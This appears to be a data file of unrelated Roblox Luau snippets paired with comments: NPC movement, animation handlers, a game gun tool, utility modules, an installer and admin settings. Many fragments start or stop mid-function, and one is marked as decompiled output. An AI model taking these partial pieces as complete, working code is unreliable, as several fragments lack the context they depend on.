Humanoid:MoveTo(closesttarget.Position+(Vector3.new(1,1,1)*(variance*((math.random()*2)-1))),closesttarget)
if math.random()<.5 then
attack(time,closesttarget.Position)
end
else
if chasing then
chasing=false
Humanoid.WalkSpeed=wonderspeed
BARKING:Stop()
end
if time>nextrandom then
nextrandom=time+3+(math.random()*5)
local randompos=Torso.Position+((Vector3.new(1,1,1)*math.random()-Vector3.new(.5,.5,.5))*40)
Humanoid:MoveTo(randompos,game.Workspace.Terrain)
end
end
if time>nextsound then
--playsound(time)
end
if time>nextjump then
nextjump=time+7+(math.random()*5)
Humanoid.Jump=true
end
animate(time)
end
wait(4)
sp:remove() --Rest In Pizza
|
-- regeneration |
while true do
local s = wait(3)
local health = Humanoid.Health
if health > 0 and health < Humanoid.MaxHealth then
health = health + 0.01 * s * Humanoid.MaxHealth
if health * 1.05 < Humanoid.MaxHealth then
Humanoid.Health = health
else
Humanoid.Health = Humanoid.MaxHealth
end
end
end
|
--| Cooldown Value|-- |
local Cooldown = script.Parent.Parent.CooldownValue
|
--[[*
* Keeps track of the current batch's configuration such as how long an update
* should suspend for if it needs to.
]] |
local ReactCurrentBatchConfig = {
transition = 0,
}
return ReactCurrentBatchConfig
|
-------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------- |
function onRunning(speed)
if speed > 0.01 then
local scale = 15.0
playAnimation("walk", 0.0, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Running"
else
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
local scale = 5.0
playAnimation("climb", 0.1, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed > 1.00 then
local scale = 10.0
playAnimation("swim", 0.4, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Swimming"
else
playAnimation("swimidle", 0.4, Humanoid)
pose = "Standing"
end
end
function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.className == "Tool" then return kid end
end
return nil
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid)
return
end
if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid)
return
end
if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid)
return
end
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder:SetDesiredAngle(3.14 /2)
LeftShoulder:SetDesiredAngle(-3.14 /2)
RightHip:SetDesiredAngle(3.14 /2)
LeftHip:SetDesiredAngle(-3.14 /2)
end
local lastTick = 0
function move(time)
local amplitude = 1
local frequency = 1
local deltaTime = time - lastTick
lastTick = time
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
playAnimation("sit", 0.5, Humanoid)
return
elseif (pose == "Running") then
playAnimation("walk", 0.1, Humanoid)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
stopAllAnimations()
amplitude = 0.1
frequency = 1
setAngles = true
end
-- Tool Animation handling
local tool = getTool()
if tool then
animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
stopToolAnimations()
toolAnim = "None"
toolAnimInstance = nil
toolAnimTime = 0
end
end
|
-- Trove
-- Stephen Leitnick
-- October 16, 2021 |
local FN_MARKER = newproxy()
local RunService = game:GetService("RunService")
local function GetObjectCleanupFunction(object, cleanupMethod)
local t = typeof(object)
if t == "function" then
return FN_MARKER
end
if cleanupMethod then
return cleanupMethod
end
if t == "Instance" then
return "Destroy"
elseif t == "RBXScriptConnection" then
return "Disconnect"
elseif t == "table" then
if typeof(object.Destroy) == "function" then
return "Destroy"
elseif typeof(object.Disconnect) == "function" then
return "Disconnect"
end
end
error("Failed to get cleanup function for object " .. t .. ": " .. tostring(object))
end
|
--Fixed by Busify
--If you're still not happy with how it works then scroll down and change the wait sections.
--If you can't find any wait sections then press Ctrl + F and look for wait.
--Hope I helped! Enjoy! |
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
function Create(ty)
return function(data)
local obj = Instance.new(ty)
for k, v in pairs(data) do
if type(k) == 'number' then
v.Parent = obj
else
obj[k] = v
end
end
return obj
end
end
local BaseUrl = "rbxassetid://"
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")
DamageValues = {
BaseDamage = 7,
SlashDamage = 8,
LungeDamage = 9
}
|
--[=[
Executes all promises. If any fails, the result will be rejected. However, it yields until
every promise is complete.
:::warning
Passing in a spare array (i.e. {nil, promise}) will result in undefined behavior here.
:::
@param promises { Promise<T> }
@return Promise<T>
]=] |
function PromiseUtils.all(promises)
if #promises == 0 then
return Promise.resolved()
elseif #promises == 1 then
return promises[1]
end
local remainingCount = #promises
local returnPromise = Promise.new()
local results = {}
local allFulfilled = true
local function syncronize(index, isFullfilled)
return function(value)
allFulfilled = allFulfilled and isFullfilled
results[index] = value
remainingCount = remainingCount - 1
if remainingCount == 0 then
local method = allFulfilled and "Resolve" or "Reject"
returnPromise[method](returnPromise, unpack(results, 1, #promises))
end
end
end
for index, promise in pairs(promises) do
promise:Then(syncronize(index, true), syncronize(index, false))
end
return returnPromise
end
|
-- CONSTANTS |
local INHERITED = {
["__add"] = true,
["__call"] = true,
["__concat"] = true,
["__div"] = true,
["__le"] = true,
["__lt"] = true,
["__mod"] = true,
["__mul"] = true,
["__pow"] = true,
["__sub"] = true,
["__tostring"] = true,
["__unm"] = true,
["__index"] = false,
["__newindex"] = false,
}
|
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!! |
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.SoySauce |
--!strict
-- StringUtil
-- Yuuwa0519
-- 2021-10-28 | |
--[[
Gets the Asset or Bundle info based on the given itemId and itemType.
Expects state to be AvatarExperience.Common.
]] |
return function(state, itemId, itemType)
if itemType == CatalogConstants.ItemType.Asset then
local asset = state.Assets[itemId]
--print("ItemData:", asset)
return asset
elseif itemType == CatalogConstants.ItemType.Bundle then
local bundle = state.Bundles[itemId]
--print("ItemData:", bundle)
return bundle
end
end
|
--local TEAM = Character:WaitForChild("TEAM") |
local VisualizeBullet = script.Parent:WaitForChild("VisualizeBullet")
local Module = require(Tool:WaitForChild("Setting"))
local GunScript_Server = Tool:WaitForChild("GunScript_Server")
local ChangeAmmoAndClip = GunScript_Server:WaitForChild("ChangeAmmoAndClip")
local InflictTarget = GunScript_Server:WaitForChild("InflictTarget")
local AmmoValue = GunScript_Server:WaitForChild("Ammo")
local ClipsValue = GunScript_Server:WaitForChild("Clips")
local GUI = script:WaitForChild("GunGUI")
local IdleAnim
local FireAnim
local ReloadAnim
local ShotgunClipinAnim
local Grip2
local Handle2
local HandleToFire = Handle
if Module.DualEnabled then
Handle2 = Tool:WaitForChild("Handle2",2)
if Handle2 == nil and Module.DualEnabled then error("\"Dual\" setting is enabled but \"Handle2\" is missing!") end
end
local Equipped = false
local Enabled = true
local Down = false
local Reloading = false
local AimDown = false
local Ammo = AmmoValue.Value
local Clips = ClipsValue.Value
local MaxClip = Module.MaxClip
local PiercedHumanoid = {}
if Module.IdleAnimationID ~= nil or Module.DualEnabled then
IdleAnim = Tool:WaitForChild("IdleAnim")
IdleAnim = Humanoid:LoadAnimation(IdleAnim)
end
if Module.FireAnimationID ~= nil then
FireAnim = Tool:WaitForChild("FireAnim")
FireAnim = Humanoid:LoadAnimation(FireAnim)
end
if Module.ReloadAnimationID ~= nil then
ReloadAnim = Tool:WaitForChild("ReloadAnim")
ReloadAnim = Humanoid:LoadAnimation(ReloadAnim)
end
if Module.ShotgunClipinAnimationID ~= nil then
ShotgunClipinAnim = Tool:WaitForChild("ShotgunClipinAnim")
ShotgunClipinAnim = Humanoid:LoadAnimation(ShotgunClipinAnim)
end
function wait(TimeToWait)
if TimeToWait ~= nil then
local TotalTime = 0
TotalTime = TotalTime + game:GetService("RunService").Heartbeat:wait()
while TotalTime < TimeToWait do
TotalTime = TotalTime + game:GetService("RunService").Heartbeat:wait()
end
else
game:GetService("RunService").Heartbeat:wait()
end
end
function RayCast(Start,Direction,Range,Ignore)
local Hit,EndPos = game.Workspace:FindPartOnRay(Ray.new(Start,Direction*Range),Ignore)
if Hit then
if (Hit.Transparency > 0.75
or Hit.Name == "Handle"
or Hit.Name == "Effect"
or Hit.Name == "Bullet"
or Hit.Name == "Laser"
or string.lower(Hit.Name) == "water"
or Hit.Name == "Rail"
or Hit.Name == "Arrow"
or (Hit.Parent:FindFirstChild("Humanoid") and Hit.Parent.Humanoid.Health == 0)
or (Hit.Parent:FindFirstChild("Humanoid") and Hit.Parent:FindFirstChild("TEAM") and TEAM and Hit.Parent.TEAM.Value == TEAM.Value))
or (Hit.Parent:FindFirstChild("Humanoid") and PiercedHumanoid[Hit.Parent.Humanoid]) then
Hit,EndPos = RayCast(EndPos+(Direction*.01),Direction,Range-((Start-EndPos).magnitude),Ignore)
end
end
return Hit,EndPos
end
function ShakeCamera()
if Module.CameraShakingEnabled then
local Intensity = Module.Intensity/(AimDown and Module.MouseSensitive or 1)
for i = 1, 10 do
local cam_rot = Camera.CoordinateFrame - Camera.CoordinateFrame.p
local cam_scroll = (Camera.CoordinateFrame.p - Camera.Focus.p).magnitude
local ncf = CFrame.new(Camera.Focus.p)*cam_rot*CFrame.fromEulerAnglesXYZ((-Intensity+(math.random()*(Intensity*2)))/100, (-Intensity+(math.random()*(Intensity*2)))/100, 0)
Camera.CoordinateFrame = ncf*CFrame.new(0, 0, cam_scroll)
wait()
end
end
end
function Fire(ShootingHandle)
local PierceAvailable = Module.Piercing
PiercedHumanoid = {}
if FireAnim then FireAnim:Play(nil,nil,Module.FireAnimationSpeed) end
if not ShootingHandle.FireSound.Playing or not ShootingHandle.FireSound.Looped then ShootingHandle.FireSound:Play() script.Parent.Model.casing:FireServer() end
local Start = (Humanoid.Torso.CFrame * CFrame.new(0,1.5,0)).p--(Handle.CFrame * CFrame.new(Module.MuzzleOffset.X,Module.MuzzleOffset.Y,Module.MuzzleOffset.Z)).p
local Spread = Module.Spread*(AimDown and 1-Module.SpreadRedution or 1)
local Direction = (CFrame.new(Start,Mouse.Hit.p) * CFrame.Angles(math.rad(-Spread+(math.random()*(Spread*2))),math.rad(-Spread+(math.random()*(Spread*2))),0)).lookVector
while PierceAvailable >= 0 do
local Hit,EndPos = RayCast(Start,Direction,5000,Character)
if not Module.ExplosiveEnabled then
if Hit and Hit.Parent then
local TargetHumanoid = Hit.Parent:FindFirstChild("Humanoid")
local TargetTorso = Hit.Parent:FindFirstChild("Torso")
--local TargetTEAM = Hit.Parent:FindFirstChild("TEAM")
if TargetHumanoid and TargetHumanoid.Health > 0 and TargetTorso then
--if TargetTEAM and TargetTEAM.Value ~= TEAM.Value then
InflictTarget:FireServer(TargetHumanoid,
TargetTorso,
(Hit.Name == "Head" and Module.HeadshotEnabled) and Module.BaseDamage * Module.HeadshotDamageMultiplier or Module.BaseDamage,
Direction,
Module.Knockback,
Module.Lifesteal,
Module.FlamingBullet)
PiercedHumanoid[TargetHumanoid] = true
--end
else
PierceAvailable = 0
end
end
else
local Explosion = Instance.new("Explosion")
Explosion.BlastRadius = Module.Radius
Explosion.BlastPressure = 0
Explosion.Position = EndPos
Explosion.Parent = Workspace.CurrentCamera
Explosion.Hit:connect(function(Hit)
if Hit and Hit.Parent and Hit.Name == "Torso" then
local TargetHumanoid = Hit.Parent:FindFirstChild("Humanoid")
local TargetTorso = Hit.Parent:FindFirstChild("Torso")
--local TargetTEAM = Hit.Parent:FindFirstChild("TEAM")
if TargetHumanoid and TargetHumanoid.Health > 0 and TargetTorso then
--if TargetTEAM and TargetTEAM.Value ~= TEAM.Value then
InflictTarget:FireServer(TargetHumanoid,
TargetTorso,
(Hit.Name == "Head" and Module.HeadshotEnabled) and Module.BaseDamage * Module.HeadshotDamageMultiplier or Module.BaseDamage,
Direction,
Module.Knockback,
Module.Lifesteal,
Module.FlamingBullet)
--end
end
end
end)
PierceAvailable = 0
end
PierceAvailable = Hit and (PierceAvailable - 1) or -1
script.Parent.BulletVisualizerScript.Visualize:Fire(nil,ShootingHandle,
Module.MuzzleOffset,
EndPos,
script.MuzzleEffect,
script.HitEffect,
Module.HitSoundIDs[math.random(1,#Module.HitSoundIDs)],
{Module.ExplosiveEnabled,Module.BlastRadius,Module.BlastPressure},
{Module.BulletSpeed,Module.BulletSize,Module.BulletColor,Module.BulletTransparency,Module.BulletMaterial,Module.FadeTime},
false,
PierceAvailable == -1 and Module.VisualizerEnabled or false)
script.Parent.VisualizeBullet:FireServer(ShootingHandle,
Module.MuzzleOffset,
EndPos,
script.MuzzleEffect,
script.HitEffect,
Module.HitSoundIDs[math.random(1,#Module.HitSoundIDs)],
{Module.ExplosiveEnabled,Module.BlastRadius,Module.BlastPressure},
{Module.BulletSpeed,Module.BulletSize,Module.BulletColor,Module.BulletTransparency,Module.BulletMaterial,Module.FadeTime},
true,
PierceAvailable == -1 and Module.VisualizerEnabled or false)
Start = EndPos + (Direction*0.01)
end
end
function Reload()
if Enabled and not Reloading and (Clips > 0 or not Module.LimitedClipEnabled) and Ammo < Module.AmmoPerClip then
Reloading = true
if AimDown then
Workspace.CurrentCamera.FieldOfView = 70
--[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui")
if GUI then GUI:Destroy() end]]
GUI.Scope.Visible = false
game.Players.LocalPlayer.CameraMode = Enum.CameraMode.Classic
script["Mouse Sensitivity"].Disabled = true
AimDown = false
Mouse.Icon = "rbxassetid://"..Module.MouseIconID
end
UpdateGUI()
if Module.ShotgunReload then
for i = 1,(Module.AmmoPerClip - Ammo) do
if ShotgunClipinAnim then ShotgunClipinAnim:Play(nil,nil,Module.ShotgunClipinAnimationSpeed) end
Handle.ShotgunClipin:Play()
wait(Module.ShellClipinSpeed)
end
end
if ReloadAnim then ReloadAnim:Play(nil,nil,Module.ReloadAnimationSpeed) end
Handle.ReloadSound:Play() script.Parent.Model.reload:FireServer()
wait(Module.ReloadTime)
if Module.LimitedClipEnabled then Clips = Clips - 1 end
Ammo = Module.AmmoPerClip
ChangeAmmoAndClip:FireServer(Ammo,Clips)
Reloading = false
UpdateGUI()
end
end
function UpdateGUI()
GUI.Frame.Ammo.Fill:TweenSizeAndPosition(UDim2.new(Ammo/Module.AmmoPerClip,0,1,0), UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quint, 0.25, true)
GUI.Frame.Clips.Fill:TweenSizeAndPosition(UDim2.new(Clips/Module.MaxClip,0,1,0), UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quint, 0.25, true)
GUI.Frame.Ammo.Current.Text = Ammo
GUI.Frame.Ammo.Max.Text = Module.AmmoPerClip
GUI.Frame.Clips.Current.Text = Clips
GUI.Frame.Clips.Max.Text = Module.MaxClip
GUI.Frame.Ammo.Current.Visible = not Reloading
GUI.Frame.Ammo.Max.Visible = not Reloading
GUI.Frame.Ammo.Frame.Visible = not Reloading
GUI.Frame.Ammo.Reloading.Visible = Reloading
GUI.Frame.Clips.Current.Visible = not (Clips <= 0)
GUI.Frame.Clips.Max.Visible = not (Clips <= 0)
GUI.Frame.Clips.Frame.Visible = not (Clips <= 0)
GUI.Frame.Clips.NoMoreClip.Visible = (Clips <= 0)
GUI.Frame.Clips.Visible = Module.LimitedClipEnabled
GUI.Frame.Size = Module.LimitedClipEnabled and UDim2.new(0,250,0,100) or UDim2.new(0,250,0,55)
GUI.Frame.Position = Module.LimitedClipEnabled and UDim2.new(1,-260,1,-110)or UDim2.new(1,-260,1,-65)
end
Mouse.Button1Down:connect(function()
Down = true
local IsChargedShot = false
if Equipped and Enabled and Down and not Reloading and Ammo > 0 and Humanoid.Health > 0 then
Enabled = false
if Module.ChargedShotEnabled then
if HandleToFire:FindFirstChild("ChargeSound") then HandleToFire.ChargeSound:Play() end
wait(Module.ChargingTime)
IsChargedShot = true
end
if Module.MinigunEnabled then
if HandleToFire:FindFirstChild("WindUp") then HandleToFire.WindUp:Play() end
wait(Module.DelayBeforeFiring)
end
while Equipped and not Reloading and (Down or IsChargedShot) and Ammo > 0 and Humanoid.Health > 0 do
IsChargedShot = false
for i = 1,(Module.BurstFireEnabled and Module.BulletPerBurst or 1) do
Spawn(ShakeCamera)
for x = 1,(Module.ShotgunEnabled and Module.BulletPerShot or 1) do
Fire(HandleToFire)
end
Ammo = Ammo - 1
ChangeAmmoAndClip:FireServer(Ammo,Clips)
UpdateGUI()
if Module.BurstFireEnabled then wait(Module.BurstRate) end
if Ammo <= 0 then break end
end
HandleToFire = (HandleToFire == Handle and Module.DualEnabled) and Handle2 or Handle
wait(Module.FireRate)
if not Module.Auto then break end
end
if HandleToFire.FireSound.Playing and HandleToFire.FireSound.Looped then HandleToFire.FireSound:Stop() end
if Module.MinigunEnabled then
if HandleToFire:FindFirstChild("WindDown") then HandleToFire.WindDown:Play() end
wait(Module.DelayAfterFiring)
end
Enabled = true
if Ammo <= 0 then Reload() end
end
end)
Mouse.Button1Up:connect(function()
Down = false
end)
ChangeAmmoAndClip.OnClientEvent:connect(function(ChangedAmmo,ChangedClips)
Ammo = ChangedAmmo
Clips = ChangedClips
UpdateGUI()
end)
Tool.Equipped:connect(function(TempMouse)
Equipped = true
UpdateGUI()
if Module.AmmoPerClip ~= math.huge then GUI.Parent = Player.PlayerGui end
TempMouse.Icon = "rbxassetid://"..Module.MouseIconID
if IdleAnim then IdleAnim:Play(nil,nil,Module.IdleAnimationSpeed) end
TempMouse.KeyDown:connect(function(Key)
if string.lower(Key) == "r" then
Reload()
elseif string.lower(Key) == "e" then
if not Reloading and AimDown == false and Module.SniperEnabled then
Workspace.CurrentCamera.FieldOfView = Module.FieldOfView
--[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui") or Tool.ZoomGui:Clone()
GUI.Parent = game.Players.LocalPlayer.PlayerGui]]
GUI.Scope.Visible = true
game.Players.LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson
script["Mouse Sensitivity"].Disabled = false
AimDown = true
Mouse.Icon="http://www.roblox.com/asset?id=187746799"
else
Workspace.CurrentCamera.FieldOfView = 70
--[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui")
if GUI then GUI:Destroy() end]]
GUI.Scope.Visible = false
game.Players.LocalPlayer.CameraMode = Enum.CameraMode.Classic
script["Mouse Sensitivity"].Disabled = true
AimDown = false
Mouse.Icon = "rbxassetid://"..Module.MouseIconID
end
end
end)
if Module.DualEnabled and not Workspace.FilteringEnabled then
Handle2.CanCollide = false
local LeftArm = Tool.Parent:FindFirstChild("Left Arm")
local RightArm = Tool.Parent:FindFirstChild("Right Arm")
if RightArm then
local Grip = RightArm:WaitForChild("RightGrip",0.01)
if Grip then
Grip2 = Grip:Clone()
Grip2.Name = "LeftGrip"
Grip2.Part0 = LeftArm
Grip2.Part1 = Handle2
--Grip2.C1 = Grip2.C1:inverse()
Grip2.Parent = LeftArm
end
end
end
end)
Tool.Unequipped:connect(function()
Equipped = false
GUI.Parent = script
if IdleAnim then IdleAnim:Stop() end
if AimDown then
Workspace.CurrentCamera.FieldOfView = 70
--[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui")
if GUI then GUI:Destroy() end]]
GUI.Scope.Visible = false
game.Players.LocalPlayer.CameraMode = Enum.CameraMode.Classic
script["Mouse Sensitivity"].Disabled = true
AimDown = false
Mouse.Icon = "rbxassetid://"..Module.MouseIconID
end
if Module.DualEnabled and not Workspace.FilteringEnabled then
Handle2.CanCollide = true
if Grip2 then Grip2:Destroy() end
end
end)
Humanoid.Died:connect(function()
Equipped = false
GUI.Parent = script
if IdleAnim then IdleAnim:Stop() end
if AimDown then
Workspace.CurrentCamera.FieldOfView = 70
--[[local GUI = game.Players.LocalPlayer.PlayerGui:FindFirstChild("ZoomGui")
if GUI then GUI:Destroy() end]]
GUI.Scope.Visible = false
game.Players.LocalPlayer.CameraMode = Enum.CameraMode.Classic
script["Mouse Sensitivity"].Disabled = true
AimDown = false
Mouse.Icon = "rbxassetid://"..Module.MouseIconID
end
if Module.DualEnabled and not Workspace.FilteringEnabled then
Handle2.CanCollide = true
if Grip2 then Grip2:Destroy() end
end
end)
|
-- Decompiled with the Synapse X Luau decompiler. |
return {
Crouch = "rbxassetid://9876150092",
Default = "rbxassetid://9876149963"
};
|
--// GUI Variables |
local PlayerGUI = Player:WaitForChild("PlayerGui")
local MainUI = PlayerGUI:WaitForChild("MainUI")
local TradingPlayerListUI = MainUI.TradePlayerList
local TradePlayerListHolder = TradingPlayerListUI.List.Holder
local ScrollingFrame = TradePlayerListHolder
local UIGridLayout = ScrollingFrame.UIGridLayout
local TradeMenuUI = MainUI.TradeFrame
local getSizes = function()
return Vector2.new(0, 0.05), Vector2.new(0.95, 0.2), 1
end
local getPetSizes = function()
return Vector2.new(0.03, 0.04), Vector2.new(0.475, 0.25), 2
end
|
--[[
Unpacks an animatable type into an array of numbers.
If the type is not animatable, an empty array will be returned.
FIXME: This function uses a lot of redefinitions to suppress false positives
from the Luau typechecker - ideally these wouldn't be required
FUTURE: When Luau supports singleton types, those could be used in
conjunction with intersection types to make this function fully statically
type checkable.
]] |
local Oklab = require(script.Parent.Parent.Parent.Colour.Oklab)
local function unpackType(value, typeString: string): {number}
if typeString == "number" then
local value = value :: number
return {value}
elseif typeString == "CFrame" then
-- FUTURE: is there a better way of doing this? doing distance
-- calculations on `angle` may be incorrect
local axis, angle = value:ToAxisAngle()
return {value.X, value.Y, value.Z, axis.X, axis.Y, axis.Z, angle}
elseif typeString == "Color3" then
local lab = Oklab.to(value)
return {lab.X, lab.Y, lab.Z}
elseif typeString == "ColorSequenceKeypoint" then
local lab = Oklab.to(value.Value)
return {lab.X, lab.Y, lab.Z, value.Time}
elseif typeString == "DateTime" then
return {value.UnixTimestampMillis}
elseif typeString == "NumberRange" then
return {value.Min, value.Max}
elseif typeString == "NumberSequenceKeypoint" then
return {value.Value, value.Time, value.Envelope}
elseif typeString == "PhysicalProperties" then
return {value.Density, value.Friction, value.Elasticity, value.FrictionWeight, value.ElasticityWeight}
elseif typeString == "Ray" then
return {value.Origin.X, value.Origin.Y, value.Origin.Z, value.Direction.X, value.Direction.Y, value.Direction.Z}
elseif typeString == "Rect" then
return {value.Min.X, value.Min.Y, value.Max.X, value.Max.Y}
elseif typeString == "Region3" then
-- FUTURE: support rotated Region3s if/when they become constructable
return {
value.CFrame.X, value.CFrame.Y, value.CFrame.Z,
value.Size.X, value.Size.Y, value.Size.Z
}
elseif typeString == "Region3int16" then
return {value.Min.X, value.Min.Y, value.Min.Z, value.Max.X, value.Max.Y, value.Max.Z}
elseif typeString == "UDim" then
return {value.Scale, value.Offset}
elseif typeString == "UDim2" then
return {value.X.Scale, value.X.Offset, value.Y.Scale, value.Y.Offset}
elseif typeString == "Vector2" then
return {value.X, value.Y}
elseif typeString == "Vector2int16" then
return {value.X, value.Y}
elseif typeString == "Vector3" then
return {value.X, value.Y, value.Z}
elseif typeString == "Vector3int16" then
return {value.X, value.Y, value.Z}
else
return {}
end
end
return unpackType
|
-- Ensures that all scripts included with a DevModule are marked as Disabled.
-- This makes sure there are no race conditions resulting in the Install script
-- running after the scripts included with the module. |
local function assertScriptsAreDisabled(devModuleScripts: { Script | LocalScript })
local enabledScripts = {}
for _, devModuleScript in ipairs(devModuleScripts) do
if not devModuleScript.Disabled then
table.insert(enabledScripts, devModuleScript.Name)
end
end
if #enabledScripts > 0 then
error(constants.ENABLED_SCRIPTS_ERROR:format(table.concat(enabledScripts, ", ")))
end
end
type Options = { dataModel: Instance, verboseLogging: boolean, pruneDevelopmentFiles: boolean }
local defaultOptions: Options = {
dataModel = game,
verboseLogging = false,
pruneDevelopmentFiles = true,
}
local function install(devModule: Instance, options: Options)
local mergedOptions = defaultOptions
for key, value in pairs(options or {}) do
mergedOptions[key] = value
end
options = mergedOptions
if options.verboseLogging then
useVerboseLogging = options.verboseLogging
end
local devModuleType = typeof(devModule)
assert(devModuleType == "Instance", ("expected a DevModule to install, got %s"):format(devModuleType))
events.started:Fire()
log("info", ("Installing %s from %s..."):format(devModule.Name, devModule.Parent.Name))
local devModuleScripts = getDevModuleScripts(devModule)
assertScriptsAreDisabled(devModuleScripts)
if constants.DEV_MODULE_STORAGE:FindFirstChild(devModule.Name) then
log("info", "A version of this DevModule already exists. Skipping...")
devModule:Destroy()
return
end
if options.pruneDevelopmentFiles then
log("info", "Pruning development files...")
prune(devModule)
end
-- The `true` flag searches all descendants of an instance, which is needed
-- here since the Packages folder is nested.
local packages = devModule:FindFirstChild(constants.PACKAGE_NAME, true)
if packages then
log("info", "Linking packages...")
dedupePackages(packages)
end
log("info", "Overlaying services...")
for _, child in ipairs(devModule:GetChildren()) do
-- GetService errors if the given name is not a service so we wrap it in
-- a pcall to use the result in a conditional.
local success, service = pcall(function()
return game:GetService(child.Name)
end)
if success then
overlay(child, service)
end
end
log("info", "Enabling scripts...")
for _, devModuleScript in ipairs(devModuleScripts) do
devModuleScript.Disabled = false
log("info", ("Enabled %s"):format(devModuleScript.Name))
end
events.finished:Fire()
log("info", ("Safe to remove %s"):format(devModule:GetFullName()))
log("info", ("Removing %s..."):format(devModule:GetFullName()))
devModule:Destroy()
log("info", ("Successfully installed %s!"):format(devModule.Name))
end
return install
|
-- Water off |
faucet.WaterOffSet.Interactive.ClickDetector.MouseClick:Connect(function()
faucet.Handle:SetPrimaryPartCFrame(faucet.HandleBase.CFrame)
if steam.WarmSteam.Enabled == true then
steam.WarmSteam.Enabled = false
end
if steam.HotSteam.Enabled == true then
steam.HotSteam.Enabled = false
end
p.HotOn.Value = false
p.ColdOn.Value = false
end)
|
--[[
DEVELOPMENT MOVED!
NEW LOADER:
https://www.roblox.com/library/2373505175/Adonis-Loader-BETA
--]] | |
--------------| SYSTEM SETTINGS |-------------- |
Prefix = ";"; -- The character you use before every command (e.g. ';jump me').
SplitKey = " "; -- The character inbetween command arguments (e.g. setting it to '/' would change ';jump me' to ';jump/me').
BatchKey = ""; -- The character inbetween batch commands (e.g. setting it to '|' would change ';jump me ;fire me ;smoke me' to ';jump me | ;fire me | ;smoke me'
QualifierBatchKey = ","; -- The character used to split up qualifiers (e.g. ;jump player1,player2,player3)
Theme = "Blue"; -- The default UI theme.
NoticeSoundId = 2865227271; -- The SoundId for notices.
NoticeVolume = 0.1; -- The Volume for notices.
NoticePitch = 1; -- The Pitch/PlaybackSpeed for notices.
ErrorSoundId = 2865228021; -- The SoundId for error notifications.
ErrorVolume = 0.1; -- The Volume for error notifications.
ErrorPitch = 1; -- The Pitch/PlaybackSpeed for error notifications.
AlertSoundId = 3140355872; -- The SoundId for alerts.
AlertVolume = 0.5; -- The Volume for alerts.
AlertPitch = 1; -- The Pitch/PlaybackSpeed for alerts.
WelcomeBadgeId = 0; -- Award new players a badge, such as 'Welcome to the game!'. Set to 0 for no badge.
CommandDebounce = true; -- Wait until the command effect is over to use again. Helps to limit abuse & lag. Set to 'false' to disable.
SaveRank = true; -- Saves a player's rank in the server they received it. (e.g. ;rank plrName rank). Use ';permRank plrName rank' to permanently save a rank. Set to 'false' to disable.
LoopCommands = 3; -- The minimum rank required to use LoopCommands.
MusicList = {505757009,}; -- Songs which automatically appear in a user's radio. Type '!radio' to display the radio.
ThemeColors = { -- The colours players can set their HD Admin UI (in the 'Settings' menu). | Format: {ThemeName, ThemeColor3Value};
{"Red", Color3.fromRGB(150, 0, 0), };
{"Orange", Color3.fromRGB(150, 75, 0), };
{"Brown", Color3.fromRGB(120, 80, 30), };
{"Yellow", Color3.fromRGB(130, 120, 0), };
{"Green", Color3.fromRGB(0, 120, 0), };
{"Blue", Color3.fromRGB(0, 100, 150), };
{"Purple", Color3.fromRGB(100, 0, 150), };
{"Pink", Color3.fromRGB(150, 0, 100), };
{"Black", Color3.fromRGB(60, 60, 60), };
};
Colors = { -- The colours for ChatColors and command arguments. | Format: {"ShortName", "FullName", Color3Value};
{"r", "Red", Color3.fromRGB(255, 0, 0) };
{"o", "Orange", Color3.fromRGB(250, 100, 0) };
{"y", "Yellow", Color3.fromRGB(255, 255, 0) };
{"g", "Green" , Color3.fromRGB(0, 255, 0) };
{"dg", "DarkGreen" , Color3.fromRGB(0, 125, 0) };
{"b", "Blue", Color3.fromRGB(0, 255, 255) };
{"db", "DarkBlue", Color3.fromRGB(0, 50, 255) };
{"p", "Purple", Color3.fromRGB(150, 0, 255) };
{"pk", "Pink", Color3.fromRGB(255, 85, 185) };
